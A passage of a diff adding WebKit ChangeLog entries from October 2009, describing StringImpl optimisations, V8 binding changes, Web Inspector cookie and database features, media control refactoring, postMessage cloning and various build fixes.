+        since MSVC doesn't like it. Instead, go back to offsetting by sizeof(StringImpl).
+
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::StringImpl):
+        (WebCore::StringImpl::createUninitialized):
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::bufferIsInternal):
+
+2009-10-07  Aaron Boodman  <aa@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Update isolated worlds under v8 to support world reuse.
+        https://bugs.webkit.org/show_bug.cgi?id=30145
+
+        * bindings/v8/ScriptController.cpp:
+        Replace evaluateInNewIsolatedWorld() withe evaluateInIsolatedWorld(id).
+        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        * bindings/v8/ScriptController.h: Ditto.
+        * bindings/v8/V8Proxy.cpp: Ditto.
+        (WebCore::V8Proxy::~V8Proxy): Dittio.
+        (WebCore::V8Proxy::evaluateInIsolatedWorld): Ditto.
+        * bindings/v8/V8Proxy.h: Ditto.
+        * bindings/v8/V8IsolatedWorld.cpp:
+        Add support for controlling lifetime of a world, rather than relying on GC.
+        (WebCore::V8IsolatedWorld::contextWeakReferenceCallback): Ditto.
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld): Ditto.
+        (WebCore::V8IsolatedWorld::destroy): Ditto.
+        * bindings/v8/V8IsolatedWorld.h: Ditto.
+
+2009-10-07  Jeremy Orlow  <jorlow@chromium.org>
+
+        Build fix for http://trac.webkit.org/changeset/49272 on Windows
+
+        * platform/text/StringImpl.h:
+
+2009-10-07  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Optimization of StringImpl:
+        - Remove unnecessary m_bufferIsInternal member (saves 4 bytes). Instead, check whether
+          m_data points to just past the end of the object's members.
+        - copy() and createWithTerminatingNullCharacter() create the string in a single malloc
+          block instead of 2 (saves ~20 bytes and considerable CPU cycles, increases locality).
+        - Move m_length next to m_hash to save 4 bytes of padding in 64-bit builds.
+          
+        https://bugs.webkit.org/show_bug.cgi?id=29500
+
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::StringImpl): Re-ordered members.
+        (WebCore::StringImpl::~StringImpl): Change to is-buffer-internal check.
+        (WebCore::StringImpl::createUninitialized): Use new m_buffer member instead of sizeof()
+            to ensure chars are copied to correct location.
+        (WebCore::StringImpl::createWithTerminatingNullCharacter): Make sure copy is created
+            in a single malloc block.
+        (WebCore::StringImpl::threadsafeCopy): Make sure copy is created in a single malloc block.
+        (WebCore::StringImpl::crossThreadString): Make sure copy is created in a single malloc block.
+        (WebCore::StringImpl::sharedBuffer): Change to is-buffer-internal check.
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::startsWith): Just fixed a confusing param name.
+        (WebCore::StringImpl::bufferIsInternal): Changed member var into accessor method.
+        (WebCore::StringImpl::m_data): Repositioned for optimal member packing in 64-bit.
+        (WebCore::StringImpl::m_buffer): Added to provide an explicit location for where internal buffer goes.
+
+2009-10-07  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30102
+        And
+        <rdar://problem/5015957>
+        
+        Manual test to confirm that the not-allowed cursor is shown for an
+        invalid drag-and-drop operation.
+        
+        We cannot test this using DRT because of a discrepancy between the Windows
+        API-based drop effect and the WebKit drop effect. See bug #24731 for more
+        details.
+
+        * manual-tests/drag-cursor-notallowed.html: Added.
+
+2009-10-07  Mark Rowe  <mrowe@apple.com>
+
+        Fix the build.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-10-07  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <http://webkit.org/b/30104>.
+        Inspector should show cookies of sub-resources on the page.
+        
+        This function implements showing cookies for all sub-resources of a page.
+        When the page is loaded, it populates the Storage Panel with a list of all
+        domains that were loaded as part of the full page load (iframes, ads, etc).
+        When the user selects one of the domains, the inspector calls back into the
+        controller, and the controller combines all of the cookies from that domain
+        into a list, and sends that list is sent back to the controller to render.
+        
+        A domain now needs to be passed into CookieItemsView, and CookieSidebarTreeElement.
+        
+        As a result of a previous patch, we now have detailed cookie information for
+        both Windows on CFNetwork and Mac. Additionally, this patch provides deleteCookie
+        support on Windows.
+
+        * bindings/js/ScriptObject.cpp:
+        (WebCore::ScriptObject::set):
+        * bindings/js/ScriptObject.h:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getCookies):
+        (WebCore::InspectorBackend::deleteCookie):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::didFinishLoading):
+        (WebCore::InspectorController::getCookies):
+        (WebCore::InspectorController::buildArrayForCookies):
+        (WebCore::InspectorController::buildObjectForCookie):
+        (WebCore::InspectorController::deleteCookie):
+        * inspector/InspectorController.h:
+        * inspector/InspectorDOMAgent.cpp:
+        * inspector/InspectorDOMAgent.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addCookieDomainForDocument):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView):
+        (WebInspector.CookieItemsView.prototype.update):
+        (WebInspector.CookieItemsView.prototype._deleteButtonClicked):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.Cookies.getCookiesAsync):
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel):
+        (WebInspector.StoragePanel.prototype.reset):
+        (WebInspector.StoragePanel.prototype.addCookieDomain):
+        (WebInspector.StoragePanel.prototype.showCookies):
+        (WebInspector.CookieSidebarTreeElement):
+        (WebInspector.CookieSidebarTreeElement.prototype.onselect):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addCookieDomain):
+        * platform/Cookie.h:
+        (WebCore::CookieHash::hash):
+        (WebCore::CookieHash::equal):
+        (WTF::):
+        * platform/network/win/CookieJarCFNetWin.cpp:
+        (WebCore::deleteCookie):
+
+2009-10-07  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add ScriptObject::set(const char*, unsigned).
+
+        https://bugs.webkit.org/show_bug.cgi?id=30104
+
+        * bindings/v8/ScriptObject.cpp:
+        (WebCore::ScriptObject::set):
+        * bindings/v8/ScriptObject.h:
+
+2009-10-07  Brent Fulgham  <bfulgham@webkit.org>
+
+        Unreviewed build fix for Windows (Cairo).
+
+        Provide implementation of new BitmapImage::create that was
+        added in @r49060.
+
+        * platform/graphics/win/ImageCairoWin.cpp:
+
+2009-10-07  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by Eric Carlson.
+
+        Refactor RenderThemeChromiumMac and RenderThemeChromiumSkia to render media controls using GraphicsContext.
+
+        Design was based on existing RenderMediaControls.cpp used by RenderThemeSafari/Win.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29987
+
+        Covered by existing layout tests as no new functionality was introduced.
+
+        * WebCore.gypi: Added RenderMediaControlsChromium.cpp/h.
+        * css/mediaControlsChromium.css: Tweaked media slider position and border style.
+        * rendering/MediaControlElements.cpp:
+        (WebCore::toParentMediaElement): Taken from RenderMediaControls.
+        (WebCore::MediaControlElement::rendererIsNeeded): Don't call shouldRenderMediaControlPart() if element has no appearance.
+        (WebCore::MediaControlInputElement::rendererIsNeeded): Ditto.
+        * rendering/RenderMediaControls.cpp: Moved parentMediaElement() to MediaControlElements.
+        * rendering/RenderMediaControlsChromium.cpp: Added.
+        (WebCore::platformResource): Helper to load and cache media control image resources.
+        (WebCore::mediaSliderThumbImage): Implementation refactored from RenderThemeChromiumMac/Skia.
+        (WebCore::mediaVolumeSliderThumbImage): Ditto.
+        (WebCore::paintMediaButton): Ditto.
+        (WebCore::paintMediaMuteButton): Ditto.
+        (WebCore::paintMediaPlayButton): Ditto.
+        (WebCore::paintMediaSlider): Ditto.
+        (WebCore::paintMediaSliderThumb): Ditto.
+        (WebCore::paintMediaVolumeSlider): Ditto.
+        (WebCore::paintMediaVolumeSliderThumb): Ditto.
+        (WebCore::paintMediaTimelineContainer): Ditto.
+        (WebCore::RenderMediaControlsChromium::shouldRenderMediaControlPart): Ditto.
+        (WebCore::RenderMediaControlsChromium::paintMediaControlsPart): Same
+        (WebCore::RenderMediaControlsChromium::adjustMediaSliderThumbSize):
+        * rendering/RenderMediaControlsChromium.h: Added.
+        * rendering/RenderThemeChromiumMac.h:
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::adjustSliderThumbSize): Implementation delegated to RenderMediaControlsChromium.
+        (WebCore::RenderThemeChromiumMac::shouldRenderMediaControlPart): Ditto.
+        (WebCore::RenderThemeChromiumMac::paintMediaPlayButton): Ditto.
+        (WebCore::RenderThemeChromiumMac::paintMediaMuteButton): Ditto.
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack): Ditto.
+        (WebCore::RenderThemeChromiumMac::paintMediaVolumeSliderTrack): Ditto.
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderThumb): Ditto.
+        (WebCore::RenderThemeChromiumMac::paintMediaVolumeSliderThumb): Ditto.
+        (WebCore::RenderThemeChromiumMac::paintMediaControlsBackground): Ditto.
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::paintMediaControlsBackground): Implementation delegated to RenderMediaControlsChromium.
+        (WebCore::RenderThemeChromiumSkia::paintMediaSliderTrack): Ditto.
+        (WebCore::RenderThemeChromiumSkia::paintMediaVolumeSliderTrack): Ditto.
+        (WebCore::RenderThemeChromiumSkia::adjustSliderThumbSize): Ditto.
+        (WebCore::RenderThemeChromiumSkia::paintMediaSliderThumb): Ditto.
+        (WebCore::RenderThemeChromiumSkia::paintMediaVolumeSliderThumb): Ditto.
+        (WebCore::RenderThemeChromiumSkia::paintMediaPlayButton): Ditto.
+        (WebCore::RenderThemeChromiumSkia::paintMediaMuteButton): Ditto.
+        (WebCore::RenderThemeChromiumSkia::shouldRenderMediaControlPart): Ditto.
+
+2009-10-07  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Make plugins work with beforeload.
+
+        Added fast/dom/beforeload/flash-before-load.html
+
+        * html/HTMLObjectElement.cpp:
+        (WebCore::HTMLObjectElement::parseMappedAttribute):
+        * rendering/RenderPartObject.cpp:
+        (WebCore::RenderPartObject::updateWidget):
+
+2009-10-07  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Protect JS listener object from GC while clearing a property on it.
+        See http://crbug.com/23780.
+        https://bugs.webkit.org/show_bug.cgi?id=30137
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::~V8AbstractEventListener):
+
+2009-10-07  Zoltan Horvath  <zoltan@webkit.org>
+
+        Rubber-stamped by Eric Seidel.
+
+        Allow custom memory allocation control for WebCore's CachedResourceClient class
+        https://bugs.webkit.org/show_bug.cgi?id=30165
+
+        Inherits CachedResourceClient class from FastAllocBase because (its
+        child class) CSSFontFaceSource has been instantiated by 'new' in WebCore/css/CSSFontFaceSource.h:46.
+
+        * loader/CachedResourceClient.h:
+
+2009-10-07  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's IdentifierRep 
+        https://bugs.webkit.org/show_bug.cgi?id=30159                                                        
+
+        Inherits IdentifierRep class from FastAllocBase because it has been                                 
+        instantiated by 'new' in WebCore/bridge/IdentifierRep.cpp:61.  
+
+        * bridge/IdentifierRep.h:
+
+2009-10-07  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fetch pointers to C+DOM window immediately from holder
+        object (do not search prototype chain for proper JS wrapper).
+        https://bugs.webkit.org/show_bug.cgi?id=29031
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::createNewContext):
+        (WebCore::V8Proxy::installDOMWindow):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::NAMED_ACCESS_CHECK):
+        (WebCore::INDEXED_ACCESS_CHECK):
+2009-10-07  Adam Roben  <aroben@apple.com>
+
+        Fix typo in PluginView::load that was causing cross-origin loads to
+        be allowed
+
+        This typo was introduced in the build fix in r49213.
+
+        Fixes <http://webkit.org/b/30168> REGRESSION (r49213):
+        http/tests/plugins/local-geturl-from-remote.html is failing on Windows
+
+        Reviewed by Sam Weinig.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::load): Removed a comma operator that was making
+        a condition always evaluate to true.
+
+2009-10-07  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Do not create valid QColor's for invalid WebCore::Color's.
+
+        * platform/graphics/qt/ColorQt.cpp:
+        (WebCore::Color::operator QColor):
+
+2009-10-07  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Symbian SBSv2 .data segment adress fix
+        https://bugs.webkit.org/show_bug.cgi?id=30157
+
+        RO-section in qtwebkit.dll exceeds allocated space in SBSv2. Move RW-section
+        base address to start from 0x800000 instead of the toolchain default 0x400000
+
+        * WebCore.pro:
+
+2009-10-07  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Migrate database inspection to the injected script-based schema.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29788
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        (WebCore::JSInspectorBackend::databaseForId):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+        (WebCore::InspectorBackend::databaseForId):
+        (WebCore::InspectorBackend::selectDatabase):
+        (WebCore::InspectorBackend::getDatabaseTableNames):
+        (WebCore::InspectorBackend::reportDidDispatchOnInjectedScript):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::selectDatabase):
+        (WebCore::InspectorController::databaseForId):
+        (WebCore::InspectorController::didOpenDatabase):
+        (WebCore::InspectorController::didUseDOMStorage):
+        (WebCore::InspectorController::selectDOMStorage):
+        (WebCore::InspectorController::getDOMStorageResourceForId):
+        * inspector/InspectorController.h:
+        * inspector/InspectorDatabaseResource.cpp:
+        (WebCore::InspectorDatabaseResource::InspectorDatabaseResource):
+        (WebCore::InspectorDatabaseResource::bind):
+        * inspector/InspectorDatabaseResource.h:
+        (WebCore::InspectorDatabaseResource::database):
+        (WebCore::InspectorDatabaseResource::id):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addDatabase):
+        (WebCore::InspectorFrontend::selectDatabase):
+        (WebCore::InspectorFrontend::didGetDatabaseTableNames):
+        (WebCore::InspectorFrontend::addDOMStorage):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/Database.js:
+        (WebInspector.Database):
+        (WebInspector.Database.prototype.get id):
+        (WebInspector.Database.prototype.set name):
+        (WebInspector.Database.prototype.set version):
+        (WebInspector.Database.prototype.set domain):
+        (WebInspector.Database.prototype.getTableNames):
+        (WebInspector.Database.prototype.executeSql):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.dispatch):
+        (InjectedScript.executeSql):
+        (InjectedScript.executeSql.errorCallback):
+        (InjectedScript.executeSql.queryTransaction):
+        * inspector/front-end/InjectedScriptAccess.js:
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.methodName):
+        (InjectedScriptAccess._installHandler):
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel.prototype.selectDatabase):
+        (WebInspector.StoragePanel.prototype.dataGridForResult):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addDatabase):
+
+2009-10-07  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Windowless Plugins: Disable content propagation for QGraphicsView items
+        
+        We cannot support content propagation for items in QGraphicsView because
+        the contents of the backing store might be transformed. So turn it off
+        if we are not painting on QWidget.
+        
+        Note that this check will not work for a QWebView in a
+        QGraphicsProxyWidget, but I guess it's fine. Alternative is to do an
+        even uglier cast: static_cast painter's paintDevice() to QWidget and
+        check if it is the viewport() of QGraphicsView.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30149
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::paint):
+
+2009-10-07  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Fix the Qt build by adding the missing files to the build.
+
+        * WebCore.pro:
+
+2009-10-07  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        Fix incorrect convertion of double into int while assigning it to
+        a float.
+
+        * platform/graphics/gtk/SimpleFontDataGtk.cpp:
+        (WebCore::SimpleFontData::platformInit):
+        * platform/graphics/gtk/SimpleFontDataPango.cpp:
+        (WebCore::SimpleFontData::platformInit):
+
+2009-10-07  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        Fix rounding error issues in height calculation in 64 bits.
+
+        Already covered by existing tests.
+
+        * platform/graphics/gtk/SimpleFontDataGtk.cpp:
+        (WebCore::SimpleFontData::platformInit):
+        * platform/graphics/gtk/SimpleFontDataPango.cpp:
+        (WebCore::SimpleFontData::platformInit):
+
+2009-10-07  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Dual lines in css2.1 layout tests do not match:
+        https://bugs.webkit.org/show_bug.cgi?id=23262
+
+        Now we can put a counter node as the next sibling of a reset node.
+        Re-layout the counter content when the count is updated.
+
+        Tests: fast/css/counters/t1204-increment-00-c-o.html
+               fast/css/counters/t1204-increment-01-c-o.html
+
+        * rendering/CounterNode.cpp:
+        (WebCore::CounterNode::recount):
+        * rendering/RenderCounter.cpp:
+        (WebCore::findPlaceForCounter):
+
+2009-10-06  Xan Lopez  <xlopez@igalia.com>
+
+        Try to fix the GTKbuild.
+
+        * GNUmakefile.am:
+
+2009-10-06  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Removed unused member variable from FrameLoader
+        https://bugs.webkit.org/show_bug.cgi?id=30146
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::FrameLoader):
+        * loader/FrameLoader.h:
+
+2009-10-06  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY (build fix).
+
+        A few small/trivial tweaks to the last build fix.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2009-10-06  David Levin  <levin@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [Chromium] Need to adjust MessagePort, etc. code for the post clone work done.
+        https://bugs.webkit.org/show_bug.cgi?id=30147
+
+        No change in functionality so no new tests.
+
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/SerializedScriptValue.h: Added.
+         A very simple implementation of SerializedScriptValue
+         that only works for strings.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-10-06  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Brady Eidson.
+
+        Fix for <rdar://problem/7271202>
+        Dispatch resource load delegate functions for the media element.
+        Since we don't get the required callbacks from the media engine,
+        just fake the parameters to the delegate functions as best as possible.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::loadResource):
+        (WebCore::HTMLMediaElement::isSafeToLoadURL):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::willLoadMediaElementURL):
+        * loader/FrameLoader.h:
+
+2009-10-06  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by NOBODY (Build fix).
+
+        More build fixes.
+
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::DeserializingTreeWalker::getProperty):
+        (WebCore::TeardownTreeWalker::getProperty):
+        * bindings/js/SerializedScriptValue.h:
+        (WebCore::SerializedScriptValue::SerializedScriptValue):
+
+2009-10-06  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by NOBODY (Build fix).
+
+        Build and formatting fix.
+
+        * ForwardingHeaders/runtime/ExceptionHelpers.h: Added.
+        * bindings/js/SerializedScriptValue.cpp:
+        * bindings/js/SerializedScriptValue.h:
+        (WebCore::SerializedScriptValueData::operator bool):
+        (WebCore::SerializedScriptValueData::release):
+        (WebCore::SerializedScriptValue::release):
+        (WebCore::SerializedScriptValue::toString):
+        (WebCore::SerializedScriptValue::~SerializedScriptValue):
+        (WebCore::SerializedScriptValue::SerializedScriptValue):
+
+2009-10-05  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        It should be possible to post (clone) built-in JS objects to Workers
+        https://bugs.webkit.org/show_bug.cgi?id=22878
+
+        Implement object cloning semantics for postMessage.  Currently only
+        a partial implementation of the spec -- cloning of File, FileList,
+        ImageData, and RegExp were left out as they would have significantly
+        increased patch size.
+
+        Cloning requires multiple tree walks so we use a templated tree
+        walk function, allowing us to share a single implementation for
+        serialization, deserialization, and eventual destruction of the
+        serialized object tree.
+
+        Test: fast/dom/Window/window-postmessage-clone.html
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::postMessage):
+        * bindings/js/JSMessageEventCustom.cpp:
+        (WebCore::JSMessageEvent::initMessageEvent):
+        * bindings/js/JSMessagePortCustom.h:
+        (WebCore::handlePostMessage):
+        * bindings/js/SerializedScriptValue.cpp: Added.
+        (WebCore::SerializedObject::set):
+        (WebCore::SerializedObject::names):
+        (WebCore::SerializedObject::values):
+        (WebCore::SerializedObject::create):
+        (WebCore::SerializedObject::clear):
+        (WebCore::SerializedObject::SerializedObject):
+        (WebCore::SerializedArray::setIndex):
+        (WebCore::SerializedArray::canDoFastRead):
+        (WebCore::SerializedArray::getIndex):
+        (WebCore::SerializedArray::getSparseIndex):
+        (WebCore::SerializedArray::length):
+        (WebCore::SerializedArray::create):
+        (WebCore::SerializedArray::clear):
+        (WebCore::SerializedArray::SerializedArray):
+        (WebCore::SerializedScriptValueData::SerializedScriptValueData):
+        (WebCore::SharedSerializedData::asArray):
+        (WebCore::SharedSerializedData::asObject):
+        (WebCore::):
+        (WebCore::walk):
+        (WebCore::BaseWalker::BaseWalker):
+        (WebCore::BaseWalker::shouldTerminate):
+        (WebCore::BaseWalker::ticksUntilNextCheck):
+        (WebCore::BaseWalker::didTimeOut):
+        (WebCore::BaseWalker::throwStackOverflow):
+        (WebCore::BaseWalker::throwInterruptedException):
+        (WebCore::SerializingTreeWalker::SerializingTreeWalker):
+        (WebCore::SerializingTreeWalker::null):
+        (WebCore::SerializingTreeWalker::isArray):
+        (WebCore::SerializingTreeWalker::isObject):
+        (WebCore::SerializingTreeWalker::asInputArray):
+        (WebCore::SerializingTreeWalker::asInputObject):
+        (WebCore::SerializingTreeWalker::createOutputArray):
+        (WebCore::SerializingTreeWalker::createOutputObject):
+        (WebCore::SerializingTreeWalker::length):
+        (WebCore::SerializingTreeWalker::canDoFastRead):
+        (WebCore::SerializingTreeWalker::getIndex):
+        (WebCore::SerializingTreeWalker::getSparseIndex):
+        (WebCore::SerializingTreeWalker::getProperty):
+        (WebCore::SerializingTreeWalker::convertIfTerminal):
+        (WebCore::SerializingTreeWalker::getPropertyNames):
+        (WebCore::SerializingTreeWalker::putIndex):
+        (WebCore::SerializingTreeWalker::putProperty):
+        (WebCore::SerializingTreeWalker::startArray):
+        (WebCore::SerializingTreeWalker::endArray):
+        (WebCore::SerializingTreeWalker::startObject):
+        (WebCore::SerializingTreeWalker::endObject):
+        (WebCore::SerializedScriptValueData::serialize):
+        (WebCore::DeserializingTreeWalker::DeserializingTreeWalker):
+        (WebCore::DeserializingTreeWalker::null):
+        (WebCore::DeserializingTreeWalker::isArray):
+        (WebCore::DeserializingTreeWalker::isObject):
+        (WebCore::DeserializingTreeWalker::asInputArray):
+        (WebCore::DeserializingTreeWalker::asInputObject):
+        (WebCore::DeserializingTreeWalker::createOutputArray):
+        (WebCore::DeserializingTreeWalker::createOutputObject):
+        (WebCore::DeserializingTreeWalker::length):
+        (WebCore::DeserializingTreeWalker::canDoFastRead):
+        (WebCore::DeserializingTreeWalker::getIndex):
+        (WebCore::DeserializingTreeWalker::getSparseIndex):
+        (WebCore::DeserializingTreeWalker::getProperty):
+        (WebCore::DeserializingTreeWalker::convertIfTerminal):
+        (WebCore::DeserializingTreeWalker::getPropertyNames):
+        (WebCore::DeserializingTreeWalker::putIndex):
+        (WebCore::DeserializingTreeWalker::putProperty):
+        (WebCore::DeserializingTreeWalker::startArray):
+        (WebCore::DeserializingTreeWalker::endArray):
+        (WebCore::DeserializingTreeWalker::startObject):
+        (WebCore::DeserializingTreeWalker::endObject):
+        (WebCore::SerializedScriptValueData::deserialize):
+        (WebCore::TeardownTreeWalker::shouldTerminate):
+        (WebCore::TeardownTreeWalker::ticksUntilNextCheck):
+        (WebCore::TeardownTreeWalker::didTimeOut):
+        (WebCore::TeardownTreeWalker::throwStackOverflow):
+        (WebCore::TeardownTreeWalker::throwInterruptedException):
+        (WebCore::TeardownTreeWalker::null):
+        (WebCore::TeardownTreeWalker::isArray):
+        (WebCore::TeardownTreeWalker::isObject):
+        (WebCore::TeardownTreeWalker::asInputArray):
+        (WebCore::TeardownTreeWalker::asInputObject):
+        (WebCore::TeardownTreeWalker::createOutputArray):
+        (WebCore::TeardownTreeWalker::createOutputObject):
+        (WebCore::TeardownTreeWalker::length):
+        (WebCore::TeardownTreeWalker::canDoFastRead):
+        (WebCore::TeardownTreeWalker::getIndex):
+        (WebCore::TeardownTreeWalker::getSparseIndex):
+        (WebCore::TeardownTreeWalker::getProperty):
+        (WebCore::TeardownTreeWalker::convertIfTerminal):
+        (WebCore::TeardownTreeWalker::getPropertyNames):
+        (WebCore::TeardownTreeWalker::putIndex):
+        (WebCore::TeardownTreeWalker::putProperty):
+        (WebCore::TeardownTreeWalker::startArray):
+        (WebCore::TeardownTreeWalker::endArray):
+        (WebCore::TeardownTreeWalker::startObject):
+        (WebCore::TeardownTreeWalker::endObject):
+        (WebCore::SerializedScriptValueData::tearDownSerializedData):
+        * bindings/js/SerializedScriptValue.h: Added.
+        (WebCore::SharedSerializedData::~SharedSerializedData):
+        (WebCore::SerializedScriptValueData::):
+        (WebCore::SerializedScriptValueData::type):
+        (WebCore::SerializedScriptValueData::~SerializedScriptValueData):
+        (WebCore::SerializedScriptValueData::SerializedScriptValueData):
+        (WebCore::SerializedScriptValueData::asImmediate):
+        (WebCore::SerializedScriptValueData::asDouble):
+        (WebCore::SerializedScriptValueData::asString):
+        (WebCore::SerializedScriptValueData::asObject):
+        (WebCore::SerializedScriptValueData::asArray):
+        (WebCore::SerializedScriptValueData::operator bool ):
+        (WebCore::SerializedScriptValueData::release):
+        (WebCore::SerializedScriptValue::create):
+        (WebCore::SerializedScriptValue::release):
+        (WebCore::SerializedScriptValue::toString):
+        (WebCore::SerializedScriptValue::deserialize):
+        (WebCore::SerializedScriptValue::~SerializedScriptValue):
+        (WebCore::SerializedScriptValue::SerializedScriptValue):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bindings/scripts/CodeGeneratorObjC.pm:
+        * dom/MessageEvent.cpp:
+        (WebCore::MessageEvent::MessageEvent):
+        (WebCore::MessageEvent::initMessageEvent):
+        * dom/MessageEvent.h:
+        (WebCore::MessageEvent::create):
+        (WebCore::MessageEvent::data):
+        * dom/MessageEvent.idl:
+        * dom/MessagePort.cpp:
+        (WebCore::MessagePort::postMessage):
+        * dom/MessagePort.h:
+        * dom/MessagePortChannel.cpp:
+        (WebCore::MessagePortChannel::EventData::create):
+        (WebCore::MessagePortChannel::EventData::EventData):
+        * dom/MessagePortChannel.h:
+        (WebCore::MessagePortChannel::EventData::message):
+        * page/DOMWindow.cpp:
+        (WebCore::PostMessageTimer::PostMessageTimer):
+        (WebCore::DOMWindow::postMessage):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        * page/EventSource.cpp:
+        (WebCore::EventSource::createMessageEvent):
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::didReceiveMessage):
+        * workers/DedicatedWorkerContext.cpp:
+        (WebCore::DedicatedWorkerContext::postMessage):
+        * workers/DedicatedWorkerContext.h:
+        * workers/DedicatedWorkerContext.idl:
+        * workers/Worker.cpp:
+        (WebCore::Worker::postMessage):
+        * workers/Worker.h:
+        * workers/Worker.idl:
+        * workers/WorkerContextProxy.h:
